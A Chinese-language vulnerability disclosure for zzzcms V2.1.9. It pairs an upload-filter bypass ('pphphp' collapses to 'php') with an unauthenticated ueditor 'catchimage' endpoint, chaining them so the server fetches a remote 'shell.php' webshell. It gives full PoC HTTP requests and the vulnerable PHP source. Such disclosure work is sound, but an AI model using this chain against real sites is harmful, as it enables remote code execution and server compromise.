系统版本:

V2.1.9正式版 Build20230801

CVE-2023-45555 后台设置过滤绕过

  1. POST /admin/save.php?act=saveupload HTTP/1.1

  2. Host: www.zzcms.io

  3. Content-Length: 1176

  4. Cache-Control: max-age=0

  5. Upgrade-Insecure-Requests: 1

  6. Origin: http://www.zzcms.io

  7. Content-Type: application/x-www-form-urlencoded

  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 SE 2.X MetaSr 1.0

  9. Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

  10. Referer: http://www.zzcms.io/admin/index.php?act=uploadset

  11. Accept-Encoding: gzip, deflate

  12. Accept-Language: zh-CN,zh;q=0.9

  13. Cookie: zzz271_adminpass=1; zzz271_adminname=admin; zzz271_adminface=../plugins/face/face01.png; PHPSESSID=cird4j68rud1tppfn20jm51mc0; zzz811_token=7d40f662994070a3eb4ff0a52992a688; zzz271_admintime=1696660830

  14. Connection: close

  15. token=5fa0c8fe32bf6ab09ae6f3bd358107d7×tamp=1696666974&uploadmark=1&uploadpath=upload/&datefolder=1&covermark=1&imageext=jpg,jpeg,gif,png&imagemaxsize=2mb&imageformat=shijian&compresswidth=2000&compressheight=2000&compressquality=80&fileext=pdf,txt,doc,docx,xls,xlsx,zip,rar&filemaxsize=10mb'&fileformat=pinyin&videoext=mp4,flv,swf&videomaxsize=20mb&videoformat=pinyin&smallmodel=选择模型&about_mode=5&about_width=300&about_height=300&about_quality=80&brand_mode=5&brand_width=400&brand_height=400&brand_quality=80&product_mode=5&product_width=300&product_height=300&product_quality=80&news_mode=5&news_width=300&news_height=300&news_quality=90&job_mode=5&job_width=350&job_height=350&job_quality=80&down_mode=5&down_width=300&down_height=400&down_quality=80&case_mode=5&case_width=300&case_height=500&case_quality=80&video_mode=5&video_width=400&video_height=500&video_quality=80&photo_mode=5&photo_width=500&photo_height=300&photo_quality=80&watertype=0&watermarkfont=zzzcms发生地方&watermarkpic=/images/logo.png&markpicwidth=100&markpicheight=30&markpicalpha=1&watermarklocation=1

修改 imageext参数 imageext=jpg,jpeg,gif,pngf,pphph

代码分析

admin/save.phpsave_upload方法1512行

  1. $imageext=str_replace(array('php','bat','js','.',';'),'',$imageext);

仅对 $imageext参数做了对 php字符串的替换,如传入字符串为可通过pphphp字符则过滤后的结果为php

CVE-2023-45554 任意文件上传

结合CVE-2023-45555设置允许上传PHP后缀文件直接上传远程php文件

  1. POST /plugins/ueditor/php/controller.php?action=catchimage&encode=utf-8 HTTP/1.1

  2. Host: www.zzcms.io

  3. Upgrade-Insecure-Requests: 1

  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 SE 2.X MetaSr 1.0

  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

  6. Accept-Encoding: gzip, deflate

  7. Accept-Language: zh-CN,zh;q=0.9

  8. Cookie: zzz271_adminpass=1; zzz271_adminname=admin; zzz271_adminface=..%2Fplugins%2Fface%2Fface01.png; PHPSESSID=cird4j68rud1tppfn20jm51mc0; zzz811_token=7d40f662994070a3eb4ff0a52992a688; zzz271_admintime=1696660830

  9. Connection: close

  10. Content-Type: application/x-www-form-urlencoded

  11. Content-Length: 42

  12. source[]=http://10.211.55.2:8088/shell.php

代码分析

plugins/ueditor/php/controller.php

  1. php

  2. require '../../../inc/zzz_admin.php';

  3. $CONFIG = json_decode(preg_replace("//*[sS]+?*//", "", file_get_contents("config.json")), true);

  4. $action = safe_word(getform('action','get'));

  5. $upfolder = safe_word(getform('upfolder','get'));

  6. switch ($action) {

  7. case 'config':

  8. $result = json_encode($CONFIG);

  9. break;

  10. /* 上传图片 */

  11. case 'uploadimage':

  12. $r=upload($_FILES['upfile'],'image',$upfolder);

  13. if($r['code']>0){

  14. $result =tojson(['state'=>'SUCCESS','title'=>$r['title'],'url'=>$r['url']]);

  15. }

  16. break;

  17. /* 上传涂鸦 */

  18. case 'uploadscrawl':

  19. $upfile=getform('upfile','post');

  20. $result =tojson(up_base64($upfile,$upfolder));

  21. break;

  22. /* 上传文件 */

  23. case 'uploadfile':

  24. $r =upload($_FILES['upfile'],'file',$upfolder);

  25. if($r['code']>0){

  26. $result =tojson(['state'=>'SUCCESS','title'=>$r['title'],'url'=>$r['url']]);

  27. }else{

  28. $result =tojson($r);

  29. }

  30. break;

  31. /* 上传视频 */

  32. case 'uploadvideo':

  33. $r=upload($_FILES['upfile'],'video',$upfolder);

  34. if($r['code']>0){

  35. $result =tojson(['state'=>'SUCCESS','title'=>$r['title'],'url'=>$r['url']]);

  36. }else{

  37. $result =tojson($r);

  38. }

  39. break;

  40. /* 列出图片 */

  41. case 'listimage':

  42. $size=safe_word(getform('size','get'));

  43. $start=safe_word(getform('start','get'));

  44. $uporder=safe_word(getform('uporder','get'));

  45. $end = $start + $size;

  46. $allowFiles=str_replace(",","|",conf('imageext'));

  47. $path = getform('path','get') ;

  48. $path = $path ? SITE_DIR.$path.'/' : UPLOAD_DIR.$upfolder.'/';

  49. $path=str_replace('//','/',$path);

  50. $files = path_list($path, $allowFiles);

  51. foreach($files as $k=>$v){

  52. $sizes[$k] = $v['size'];

  53. $times[$k] = $v['mtime'];

  54. $names[$k] = $v['title'];

  55. }

  56. switch($uporder){

  57. case'size1' : array_multisort($sizes,SORT_DESC,SORT_STRING, $files);break;

  58. case'size2' : array_multisort($sizes,SORT_ASC,SORT_STRING, $files);break;

  59. case'name1' : array_multisort($names,SORT_DESC,SORT_STRING, $files);break;

  60. case'mtime2' : array_multisort($times,SORT_ASC,SORT_STRING, $files);break;

  61. case'mtime1': array_multisort($times,SORT_DESC,SORT_STRING, $files);break;

  62. default;

  63. }

  64. if (! count($files)) {

  65. return json_encode(array(

  66. "state" => "no match file",

  67. "list" => array(),

  68. "start" => $start,

  69. "total" => count($files)

  70. ));

  71. }

  72. $len = count($files);

  73. for ($i =$start,$list = array(); $i <= $len-1 && $i <= $end; $i ++) {

  74. $list[] = $files[$i];

  75. }

  76. $result = json_encode(array(

  77. "state" => "SUCCESS",

  78. "list" => $list,

  79. "start" => $start,

  80. "total" => count($files)

  81. ));

  82. break;

  83. /* 列出文件 */

  84. case 'listfile':

  85. $size=safe_word(getform('size','get'));

  86. $start=safe_word(getform('start','get'));

  87. $uporder=safe_word(getform('uporder','get'));

  88. $allowFiles=str_replace(",","|",conf('fileext'));

  89. $path = getform('path','get') ;

  90. $path = $path ? SITE_DIR.$path.'/' : UPLOAD_DIR.$upfolder.'/';

  91. $path=str_replace('//','/',$path);

  92. //echop($path);

  93. $files = path_list($path, $allowFiles);

  94. $len = count($files);

  95. for ($i =$start,$list = array(); $i <= $len-1 && $i <= $len ; $i ++) {

  96. $list[] = $files[$i];

  97. }

  98. $result = json_encode(array(

  99. "state" => "SUCCESS",

  100. "list" => $list,

  101. "start" => $start,

  102. "path" => $path,

  103. "total" => count($files)

  104. ));

  105. break;

  106. /* 抓取远程文件 */

  107. case 'catchimage':

  108. $source=getform('source','post');

  109. $list = array();

  110. foreach ($source as $imgUrl) {

  111. $info =down_url(safe_url($imgUrl),$upfolder);

  112. if ($info['code']>0){

  113. array_push($list, array(

  114. "state" => "SUCCESS",

  115. "title" => $info["data"],

  116. "url" => $info["data"],

  117. "source"=>$imgUrl

  118. ));

  119. }

  120. }

  121. $result = json_encode(array(

  122. 'state' => count($list) ? 'SUCCESS' : 'ERROR',

  123. 'list' => $list

  124. ));

  125. break;

  126. default:

  127. $result = json_encode(array(

  128. 'state' => '请求地址出错'

  129. ));

  130. break;

  131. }

  132. /* 输出结果 */

  133. if (isset($_GET["callback"])) {

  134. if (preg_match("/^[w_]+$/", $_GET["callback"])) {

  135. echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';

  136. } else {

  137. echo json_encode(array(

  138. 'state' => 'callback参数不合法'

  139. ));

  140. }

  141. } else {

  142. echo($result);

  143. }

该文件并未做鉴权访问,可未授权访问。其中当 $action值为 catchimage时进入 down_url方法

inc/zzz_file.php

  1. function down_url( $url, $save_dir='file', $filename = '', $type = 0 ) {

  2. if ( is_null( $url ) ) return array( 'msg' => '内容为空', 'state' => 'ERROR', 'error' => 1 );

  3. $save_dir = SITE_DIR.conf('uploadpath').$save_dir.'/';

  4. if ( trim( $filename ) == '' ) { //保存文件名

  5. $file_ext = file_ext( $url ) ?: 'jpg';

  6. $filename = file_pre( $url ).'.'.$file_ext;

  7. }else{

  8. $file_ext = file_ext( $url ) ?: 'jpg';

  9. }

  10. $allext=conf('imageext').','.conf('fileext').','.conf('videoext');

  11. if(!in_array($file_ext,splits($allext,','))){

  12. return array( 'msg' => '创建文件失败,禁止创建'.$file_ext.'文件!', 'state' => 'ERROR', 'error' => 5 );

  13. }

  14. //创建保存目录

  15. if ( !file_exists( $save_dir ) && !mkdir( $save_dir, 0777, true ) ) {

  16. return array( 'msg' => '创建文件夹失败', 'state' => 'ERROR', 'error' => 5 );

  17. }

  18. $file_dir = $save_dir . $filename;

  19. $file_path = str_replace( SITE_DIR, SITE_PATH, $file_dir );

  20. if ( file_exists( $file_dir ) ) del_file( $file_dir );

  21. //获取远程文件所采用的方法

  22. if ( $type ) {

  23. $ch = curl_init();

  24. $timeout = 5;

  25. curl_setopt( $ch, CURLOPT_URL, $url );

  26. curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );

  27. curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );

  28. $img = curl_exec( $ch );

  29. curl_close( $ch );

  30. } else {

  31. ob_start();//本地缓存

  32. readfile( $url );

  33. $img = ob_get_contents();

  34. ob_end_clean();

  35. }

  36. $fp2 = @fopen( $file_dir, 'a' );

  37. fwrite( $fp2, $img );

  38. fclose( $fp2 );

  39. unset( $img, $url );

  40. $size= filesize($file_dir);

  41. if($size){

  42. return array('state'=> 'SUCCESS','title' => $filename, 'dir' => $file_dir, 'ext' => $file_ext, 'url' => $file_path,'size'=>$size );

  43. }else{

  44. return array('state'=> 'ERROR','msg'=>'文件下载失败,有防盗链限制','title' => $filename, 'dir' => $file_dir, 'ext' => $file_ext, 'path' => $file_path,'size'=>$size );

  45. }

  46. }

第1240行-第1253行

$filename为空时 $filename的值为远程文件的文件名称

在CVE-2023-45555中已设置配置文件config.php中imageext参数允许php后缀名上传,则绕过1247行检查文件后缀代码